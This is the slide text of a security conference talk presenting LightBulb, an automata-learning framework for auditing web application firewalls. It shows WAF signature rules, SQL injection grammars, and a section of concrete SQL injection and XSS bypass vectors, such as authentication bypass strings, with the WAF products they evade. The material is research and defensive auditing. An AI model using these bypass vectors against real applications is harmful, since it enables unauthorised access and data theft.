LightBulb Framework

SHEDDING LIGHT ON THE DARK SIDE OF WAFS AND FILTERS

Ioannis Stais

Joint Work with:
George Argyros, Suman Jana, Angelos D. Keromytis, Aggelos Kiayias
WAFs & Code Injection Attacks

• SQLi, XSS, XML, etc…

• Not going anywhere anytime soon.

• 14% increase in total web attacks in Q2 2016 [1]

• 150% - 200% increase in SQLi and XSS attacks in 2015 [2]

[1] akamai’s state of the internet / security Q2 2016 executive review
Code Injection is a Parsing Problem

Input data is parsed incorrectly

Web Application

Injection attack

Language Runtime

Web Application Firewalls
(or solving parsing problems with parsing)
Web Application Firewalls

- Monitor traffic at the Application Layer: *Both HTTP Requests and Responses.*
- Detect and Prevent Attacks.
- Appliance or Software.
- Cost-effective compliance with PCI DSS requirement 6.6 [1]

---

6.6 For public-facing web applications, address new threats and vulnerabilities on an ongoing basis and ensure these applications are protected against known attacks by either of the following methods:

- Reviewing public-facing web applications via manual or automated application vulnerability security assessment tools or methods, at least annually and after any changes.

**Note:** This assessment is not the same as the vulnerability scans performed for Requirement 11.2.

- Installing an automated technical solution that detects and prevents web-based attacks (for example, a web-application firewall) in front of public-facing web applications, to continually check all traffic.

[1] PCI DSS v3.2
WAFs Internals

User Input

Normalization

1. `<script>alert(1);</script>`
2. `alert(1);` Lower Case
3. `<script>alert(1);</script>`

Rulesets Matching

Matched Rule: `<script>alert(1);</script>`

Attack Mitigation

Tokenising

Event Correlation

4 Rules Matched

1. 4 Rules Matched
2. Session/User history
WAF Rulesets

• **Signatures:** *Strings or Regular Expressions*

E.g., [PHPIDS Rule 54] Detects Postgres pg_sleep injection, waitfor delay attacks and database shutdown attempts:

```
(?:select\s*pg_sleep)|(?:waitfor\s*delay\s?"\+\s?d)|(?:;\s*shutdown\s*(?:;|--|#|\*|{))
```
WAF Rule sets

- **Signatures:** Strings or Regular Expressions
- **Rules:** Logical expressions and Condition/Control Variables

E.g., ModSecurity CRS Rule 981254:

```
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|!REQUEST_COOKIES:/_pk_ref/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "(?i:(?:select|s*:?pg_sleep)|(?:waitfor|s*:?delay|s?["'`´'\"]+[s?\d])|(?:;|\s*?shutdown|s*:?(?:;|--|#|\*\{)))" "phase: 2,capture,t:none,t:urlDecodeUni,block,
setvar:tx.sql_injection_score=+1,setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:’tx.%{tx.msg}-OWASP_CRS/WEB_ATTACK/SQLI-% {matched_var_name}=%{tx.0}"
```
WAF Rulesets

- **Signatures:** Strings or Regular Expressions
- **Rules:** Logical expressions and Condition/Control Variables
- **Virtual Patches:** Application Specific Patches

E.g., ModSecurity: Turns off autocomplete for the forms on login and signup pages

```c
SecRule REQUEST_URI "^(\login|\signup)" "id:1000,phase:4,chain,nolog,pass"
SecRule REQUEST_METHOD "@streq GET" "chain"
SecRule STREAM_OUTPUT_BODY "@rsub s/<form /<form autocomplete="off\" /"
```
WAF Rule sets

• **Signatures**: Strings or Regular Expressions

• **Rules**: Logical expressions and Condition/Control Variables

• **Virtual Patches**: Application Specific Patches

• *PHPIDS has more than 420K states*

• Shared between different WAFs and Log Auditing Software: *PHPIDS, Expose, ModSecurity*
Why Bypasses Exist
Why Bypasses Exist

- Simple hacks:

  • Lack of support for different protocols, encodings, contents, etc
  
  • Restrictions on length, character sets, byte ranges, types of parameters, etc
Why Bypasses Exist

- Rulesets sharing mistakes:

  • Normalisation and Rulesets Failure

```
x' onclick='a()'>
```

PHPIDS 0.7.0

```
"\s*\(src|style|on\w+\)\s*=\s*"  MATCHED!
```

Expose 2.4.0

```
\"\s*\(src\|style\|on\w+\)\s*=\s*\"
```

BYPASS!
Why Bypasses Exist

- Critical WAF components are not being updated:
  
  • E.g, ModSecurity *libinjection* library

We have been in touch with Nick recently. He was able to reproduce the false negative I discovered in the reddit-XSS (see blogpost). The reason probably being, ModSec forked libinjext instead of linking. So we are running on an outdated version of libinjext.

Maybe we need a tag to collect all libinjext false negatives and forward them upstream in batches.

This was a serious concern with how it was used in v2 it being forked. In v3 it is required to be brought in as a submodule, so before you can compile it you must actually bring in an up to date copy from the repo. Use its negative if an issue is introduced but also has its positives for situations...
Why Bypasses Exist

- The Real Fundamental Reasons:
  - Insufficient Signatures & Weak Rules
  - Detecting vulnerabilities without context is HARD
I am a Pentester. Now What?

Your target is protected behind a WAF (or a filter). How can you spot a vulnerability?

1. Let’s Identify WAF & Use known attack vectors. x
2. No worries - Let’s enumerate all possible attack vectors. x
3. Ok then - Let’s use a fuzzer (e.g AFL, LibFuzzer, etc) x
Let’s light it up

LightBulb
FRAMEWORK
LightBulb Inner Workings

1. **Formalise knowledge in code injection attacks variations** using context free grammars and automata.

2. Use Learning algorithms to **expand this knowledge** by inferring specifications of parsers and WAFs.

3. **Cross check** the inferred models for vulnerabilities.

By using learning we can actively figure out important details of the systems.
Regular Expressions & Finite Automata

Every regular expression can be converted to a Deterministic Finite Automaton.

\[(.*)\text{man}\]
Code Injection attacks into Grammars

- Context Free Grammars can be used to encode attack vectors.

- Grammar for extending WHERE conditions: “SELECT * FROM users WHERE id=$_GET[c];”

```
S: A main
  main: query_exp
    query_exp: groupby_exp | order_exp | limit_exp | procedure_exp | into_exp | for_exp | lock_exp | ;
    select_exp | union_exp | join_exp
  groupby_exp: GROUP BY column_ref ascdesc_exp
  order_exp: ORDER BY column_ref ascdesc_exp
  limit_exp: LIMIT intnum
  into_exp: INTO output_exp intnum
  procedure_exp: PROCEDURE name ( literal )
    literal: string | intnum
  select_exp: SELECT name
  union_exp: UNION select_exp
  ascdesc_exp: ASC | DESC
  column_ref: name
  join_exp: JOIN name ON name
  for_exp: FOR UPDATE
  lock_exp: LOCK IN SHARE MODE
  output_exp: OUTFILE | DUMPFILE
  string: name
  intnum: 1
  name: A
```
LightBulb Burp Extension

![LightBulb Burp Extension](image)

<table>
<thead>
<tr>
<th>Name</th>
<th>description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>BROWSER/html_frame_set_attribute</td>
<td>Rule for fuzzing HTML attributes on FRAMESET tag</td>
<td></td>
</tr>
<tr>
<td>BROWSER/html_input_attribute</td>
<td>Rule for fuzzing HTML attributes on INPUT tag</td>
<td></td>
</tr>
<tr>
<td>BROWSER/html_script_attribute</td>
<td>Rule for fuzzing HTML attributes on SCRIPT tag</td>
<td></td>
</tr>
<tr>
<td>BROWSER/html_p_element</td>
<td>Rule for fuzzing HTML attributes on P tag</td>
<td></td>
</tr>
<tr>
<td>BROWSER/html_form_control</td>
<td>Rule for fuzzing HTML attributes on FORM tag</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>ID</th>
<th>Name</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>4</td>
<td>GET</td>
<td></td>
</tr>
</tbody>
</table>
Scenario Examination

We have a WAF and we want to find a bypass for it's filter

- We want to test a large number of potential known XSS or SQL attack vectors.

- Our attack vectors are defined or can be defined as grammars or regular expressions.

*Why not even exploit the availability of open-source WAFs and use their filters (already in regular expression form) as attack vectors?*
Grammar Oriented Filter Auditing (GOFA)

Main idea:
Use the grammar to drive the learning procedure.
Grammar Oriented Filter Auditing

Step 1:
Learn a model of the WAF.
Grammar Oriented Filter Auditing

Step 1: Find a vulnerability in the model using the grammar.

Step 2: Verify the vulnerability using the counterexample (false positive).

Step 3: Candidate Bypass or refine model and repeat.
Send Request to LightBulb
Set your Attack Model (Grammar/Regex)
Start GOFA
However…

• In reality, we do not know the language parsed by most implementations.
  - MySQL is parsing a different SQL flavor than MS-SQL.
  - Browsers are definitely not parsing the HTML standard.
  - WAFs are doing much more than a simple RE matching.
Scenario Re-Examination

- Available grammars and regular expressions are not always good for finding vulnerabilities.

- Expected bypasses result from attack vectors deviating from the HTML/SQL standard.

  - `<IMG SRC="javascript:alert('XSS');">`

- **SFADiff**: Use the same learning approach to also infer the HTML parser specification!
SFADiff: Learning new Attack Vectors

Bypasses

VS

WAF model
HTML Model

Automata Learner

WAF

counterexamples

candidate bypasses

Browser

candidate bypasses
Set Grammar/Regex

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>BROWSER/html_frameset_attribute</td>
<td>Rule for fuzzing HTML attributes on FRAMESET tag</td>
<td></td>
</tr>
<tr>
<td>BROWSER/html_img_attribute</td>
<td>Rule for fuzzing HTML attributes on IMG tag</td>
<td></td>
</tr>
<tr>
<td>BROWSER/html_input_attribute</td>
<td>Rule for fuzzing HTML attributes on INPUT tag</td>
<td></td>
</tr>
<tr>
<td>BROWSER/html_p_attribute</td>
<td>Rule for fuzzing HTML attributes on P tag</td>
<td>✓</td>
</tr>
<tr>
<td>BROWSER/html_pdiva_attribute</td>
<td>Rule for fuzzing HTML attributes on P, DIV, A tag</td>
<td></td>
</tr>
<tr>
<td>BROWSER/html_pdivforminput_attribute</td>
<td>Rule for fuzzing HTML attributes on P, DIV, FORM, INPUT tag</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>ID</th>
<th>Host</th>
<th>Method</th>
<th>URL</th>
<th>Success Regex</th>
<th>Fail Regex</th>
<th>Success Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>83.212.105.5</td>
<td>GET</td>
<td>/PHPIDS07/</td>
<td>HTTP/1.1 200 OK</td>
<td>(HTTP/1.1 403</td>
<td>block</td>
</tr>
</tbody>
</table>
Start SFADiff

<table>
<thead>
<tr>
<th>ID</th>
<th>Host</th>
<th>Method</th>
<th>URL</th>
<th>Success Regex</th>
<th>Fall Regex</th>
<th>Success Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>82.212.105.5</td>
<td>GET</td>
<td>/PHPIDS07</td>
<td>HTTP/1.1 200 OK</td>
<td>(HTTP/1.1 403)</td>
<td>block</td>
</tr>
</tbody>
</table>
Infer Browser
Check Result

Bypass: `&lt;script&gt;&lt;/script&gt;`
- Target A Membership Queries: 2745
- Target A Cached Membership Queries: 7771
- Target A Equivalence Queries: 69
- Target A Cached Equivalence Queries: 0
- Target A Cached Membership Equivalence Queries: 41
- Target B Membership Queries: 4163
- Target B Cached Membership Queries: 2709
- Target B Equivalence Queries: 0
- Target B Cached Equivalence Queries: 0
- Target B Cached Membership Equivalence Queries: 22
- Learned Target B model states: 64
- Learned Target A model states: 33
- Cross-check times: 69
Using SFADiff to infer only HTML Parser?

- Browser Filter (e.g., Chrome XSS Auditor Support)
- SQL Parser (e.g., MySQL)
Bonus:
Use SFADiff to generate Fingerprints
Differential Learning of WAFs

Verified Differences

VS

WAF model

WAF A

Automata Learner

candidate difference

counterexamples

WAF model

WAF B

Automata Learner

candidate difference
Generating Program Fingerprints

Which program is running in the Black-box?

Input causing difference in $P_1, P_2$

Input causing difference

Input causing difference
Fingerprinting WAFs
Bonus: Generating Your Own Fingerprinting Trees
Generate Fingerprinting Trees

#1 Select two (2) or more requests

#2 Select Tree
Using SFADiff to generate fingerprints for WAFS only?

- Browser Fingerprinting
Vulnerabilities
GOFA SQL Injections

- Grammar for extending search conditions:

```sql
select * from users where user = admin and email = \$_GET[c]
```

S: A main
main: search_condition
search_condition: OR predicate | AND predicate
predicate: comparison_predicate | between_predicate | like_predicate | test_for_null | in_predicate
| all_or_any_predicate | existence_test
comparison_predicate: scalar_exp comparison scalar_exp | scalar_exp COMPARISON subquery
between_predicate: scalar_exp BETWEEN scalar_exp AND scalar_exp
like_predicate: scalar_exp LIKE atom
test_for_null: column_ref IS NULL
in_predicate: scalar_exp IN ( subquery ) | scalar_exp IN ( atom )
all_or_any_predicate: scalar_exp comparison any_all_some subquery
existence_test: EXISTS subquery
scalar_exp: scalar_exp op scalar_exp | atom | column_ref | ( scalar_exp)
atom: parameter | intnum
subquery: select_exp
select_exp: SELECT name
any_all_some: ANY | ALL | SOME
column_ref: name
parameter: name
intnum: 1
op: + | - | * | /
comparison: = | < | >
name: A
GOFA SQL Injections

- Authentication bypass using the vector: `or exists (select 1)`

Example:

```sql
select * from users where username = \$_GET['u'] and password = \$_GET['p'];

select * from users where username = admin and password = a or exists (select 1)
```

Affected: ModSecurity CRS 2.99, PHPIDS, WebCastellum, Expose
GOFA SQL Injections

- Authentication bypass using the vector: 1 or a = 1

Example:

select * from users where username = $_GET['u'] and password = $_GET['p'];

select * from users where username = admin and password = 1 or isAdmin like 1

Affected: ModSecurity CRS 2.99, PHPIDS (only for statement with ‘like’), WebCastellum, Expose
GOFA SQL Injections

• Columns/variables fingerprinting using the vectors: \texttt{and exists (select a)}

\texttt{a or a > any select a}

Example:

\texttt{select * from users where username = admin and id = \$_GET['u'];}

\texttt{select * from users where username = admin and id = 1 \texttt{and exists (select email)}}

Affected: ModSecurity CRS 2.99, PHPIDS, WebCastellum, Expose
GOFA SQL Injections

• Grammar for extending select queries:

```sql
select * from users where user = $_GET[c]
```
GOFA SQL Injections

• Data retrieval bypass using the vector: \( 1 \text{ right join } a \text{ on } a = a \)

Example:

```sql
select * from articles left join authors on author.id={$GET['id']}
```

```sql
select * from articles left join authors on author.id = 1 \text{ right join } users \text{ on } author.id = users.id
```

Affected: ModSecurity CRS 2.99, WebCastellum
GOFA SQL Injections

- Columns/variables fingerprinting using the vectors: `a group by a asc`  

Example:

```sql
select * from users where username = $_GET['u'];
```

```sql
select * from users where username = admin group by email asc
```

Affected: ModSecurity CRS 2.99, PHPIDS, WebCastellum, Expose
GOFA SQL Injections

- Columns/variables fingerprinting using the vectors: `procedure a (a)`

Example:

```sql
select * from users where username = $_GET['u'];
```

```sql
select * from users where username = admin procedure analyze()
```

Affected: `libInjection`
SFADiff XSS Bypass

- XSS Attack vectors in PHPIDS 0.7/ Expose 2.4.0

- Other types of events can also be used for the attack (e.g. "onClick").

- Rules 71, 27, 2 and 65 are related to this insufficient pattern match.
Future Work

• Currently building many optimizations.

• We have a similar line of work on sanitizers.

• Incorporate fuzzers to improve models.

• Our vision is to enforce a standard for such products.

New ideas?
Grab LightBulb:
https://lightbulb-framework.github.io/

Thanks BSIDES!